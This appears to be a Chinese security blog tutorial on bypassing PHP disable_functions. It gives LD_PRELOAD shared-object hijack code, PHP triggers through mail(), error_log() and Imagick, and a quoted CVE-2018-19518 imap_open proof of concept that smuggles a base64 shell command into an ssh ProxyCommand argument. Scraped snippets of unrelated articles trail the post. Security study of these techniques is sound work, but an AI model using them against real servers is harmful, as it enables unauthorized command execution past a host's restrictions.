disable_function绕过--利用LD_PRELOAD
0x00 前言
有时候直接执行命令的函数被ban了,那么有几种思路可以bypass
1.使用php本身自带的能够调用外部程序的函数
2.使用第三方插件入(如imagick)
但是这两种无非就是利用php去调用外部的软件,再利用外面的软件执行shell
0x01 LD_PRELOAD
每个程序执行的时候会去动态链接库so
文件里面找函数的位置,而我们的目的是让程序去执行我们自定义的动态链接库
LD_PRELOAD
这个全局变量指定的so
文件会在每个程序本身的so文件之前加载
export #查看当前有的全局变量
export LD_PRELOAD=./test.so #将当前目录下的test.so文件加载到每个程序的动态链接库最前面
一个程序执行了哪些函数,可以使用
readelf -s /usr/bin/id
readelf -s /usr/sbin/sendmail
比如id中使用了getuid
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (2)
那么编写个so
文件
test2.c
#include <stdlib.h>
#include <stdio.h>
int getuid(){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("echo 'hello' >hello.txt");
}
编译生成so
文件
gcc -c -fPIC test2.c -o test2
gcc --share test2 -o test2.so
设置环境变量
export LD_PRELOAD=./test2.so
在php中如果把so
文件传上去了后,可以利用putevn
函数来设置全局变量
0x02 php本身能够执行外部程序的函数
能够触发外部命令的函数有mail()
,error_log()
,这2个函数都是会调用sendmail
命令,这个sendmail
软件是linux下用来发送邮件的(如果没有可用使用apt-get install sendmail
安装)
<?php
putevn("LD_PRELOAD=./test2.so");
mail("","","","");
//error_log("err",1,"","");
?>
假设没有sendmail
,我新装的ubuntu
就没有默认安装,那么php还有个的函数是2018年底爆出的一个CVE漏洞CVE-2018-19518
的imap_open()
函数
我也不知道这是不是php的锅,这个函数它是用来发送邮件的,它使用的是rsh连接远程的shell,但是在ubuntu
和debain
下,它是使用的ssh
而ssh的-oProxyCommand
参数能够带命令的,比如
ssh -oProxyCommand="touch test.txt" 10.10.10.10
即使连接失败,本地也会创建个test.txt
文件
那么php中的写法
<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>
这里直借用参考文章的poc
了,因为我本地不知道是不是php是最新的原因,报错说找不到imap_open这个函数
0x03使用扩展插件
这里不得不提下ImageMagick
了,这个图片处理的插件历史版本有很多漏洞,也有getshell的漏洞,但是这里介绍的是通过它调用外部的软件ffmpeg
,也是通过so
文件来达到命令执行的,至于环境如何搭建可以上网查查
当ImageMagick
处理以下文件的时候会调用ffmpeg
(文件必须存在)
wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp
查看了ffmpeg
的函数表,没有getuid,因为对C语言我又是个智障状态,所以也不知道其他函数什么返回值,什么参数,重写要注意些啥,这里就讲个能通用的办法
之前使用sendmail
的时候是找的其中的一个函数getuid
,因为软件执行的时候会去调用这个函数,那么我们目的是为了找到一个所有C程序都会去执行,并且都有的'函数'
,这个就是__attribute__((__constructor__))
这个函数会所有程序在启动main之前100%调用,因此so
文件的写法
test3.c
#include <stdlib.h>
#include <stdio.h>
__attribute__((__constructor__)) void angel(void){
unsetenv("LD_PRELOAD");
system("echo 'hello'");
}
在php中执行方法
<?php
$img = Imagick("1.mp4");
?>
0xff结语
本来0ctf之后就会研究这个问题的,不知道为什么拖到现在,也算是填了个坑
参考链接:
https://cloud.tencent.com/developer/article/1379245
disable_function绕过--利用LD_PRELOAD的更多相关文章
- 利用LD_PRELOAD hook代码
loader在进行动态链接的时候,会将有相同符号名的符号覆盖成LD_PRELOAD指定的so文件中的符号.换句话说,可以用我们自己的so库中的函数替换原来库里有的函数,从而达到hook的目的.这和Wi ...
- 利用LD_PRELOAD进行hook
原文地址:http://hbprotoss.github.io/posts/li-yong-ld_preloadjin-xing-hook.html 好久没玩hook这种猥琐的东西里,今天在Linux ...
- 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录 刷题记录:[SUCTF 2019]EasyWeb(EasyPHP) 一.涉及知识点 1.无数字字母shell 2.利用.htaccess上传文件 3.绕过open_basedir/disable ...
- Disable_functions绕过整合
转载 https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/ https://www.mi1k7ea.com/2019/0 ...
- 内存保护机制及绕过方法——利用未启用SafeSEH模块绕过SafeSEH
利用加载模块之外的地址绕过safeSEH 前言:文章涉及的概念在之前的文章中都有过详细的讲解 ⑴. 原理分析: 当程序加载进内存中后,处理PE文件(exe,dll),还有一些映射文件,safeSEH ...
- CTF练习三 —— 命令注入&命令执行绕过
这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...
- bypass disable_function总结学习
通常bypass的思路如下 1. 攻击后端组件,寻找存在命令注入的.web 应用常用的后端组件,如,ImageMagick 的魔图漏洞.bash 的破壳漏洞 2. 寻找未禁用的漏网函数,常见的执行命令 ...
- php bypass disable_function 命令执行 方法汇总简述
1.使用未被禁用的其他函数 exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wi ...
- SSRF绕过姿势
0x00 什么是SSRF? SSRF(Server-Side Request Forgery,服务器端请求伪造):是一种由攻击者构造形成由服务器端发起请求的一个漏洞. SSRF 攻击的目标是从外网无法 ...
随机推荐
- 1.python进行if条件相等时候的条件
在我们进行 if == 判断的时候!其中判断的条件: 1:其值是不是一样 3:其类型是否是一样 ###二者少了任何一个都不可以 >>> pwd = 23>>> cc ...
- java中判断两个对象是否相等
package ceshi.com.job; import java.util.ArrayList; import java.util.Arrays; import java.util.List; p ...
- jsp中如何使用Ueditor
在jsp页面中类似word编辑器操作textarea 使用步骤: step1.官网下载Ueditor http://ueditor.baidu.com/website/download.html ...
- 论文阅读笔记六十三:DeNet: Scalable Real-time Object Detection with Directed Sparse Sampling(CVPR2017)
论文原址:https://arxiv.org/abs/1703.10295 github:https://github.com/lachlants/denet 摘要 本文重新定义了目标检测,将其定义为 ...
- VMware虚拟机安装使用及系统安装教程
虚拟机是利用软件来模拟出完整计算机系统的工具.具有完整硬件系统功能的.运行在一个完全隔离环境中.虚拟机的使用范围很广,如未知软件评测.运行可疑型工具等,即使这些程序中带有病毒,它能做到的只有破坏您的虚 ...
- [LeetCode] 617. Merge Two Binary Trees 合并二叉树
Given two binary trees and imagine that when you put one of them to cover the other, some nodes of t ...
- 什么是默认登录shell,如何改变指定用户的登录shell?
在Linux操作系统,“/bin/bash”是默认登录shell,是在创建用户时分配的.使用chsh命令可以改变默认的shell.示例如下所示: #chsh <username> -s & ...
- oracle--oracle18C软件安装(一)
一,安装软件 --------------------------------------------------------------------------------------------- ...
- C# HTTP系列12 以form-data方式上传键值对集合到远程服务器
系列目录 [已更新最新开发文章,点击查看详细] 使用multipart/form-data方式提交数据与普通的post方式有一定区别.multipart/form-data的请求头必须包含一个 ...
- SQLserver 存储过程游标使用
ALTER PROCEDURE [dbo].[p_DeleteStretchData] ) , ) AS BEGIN ) ) declare @stretch_cursor cursor -- 声明游 ...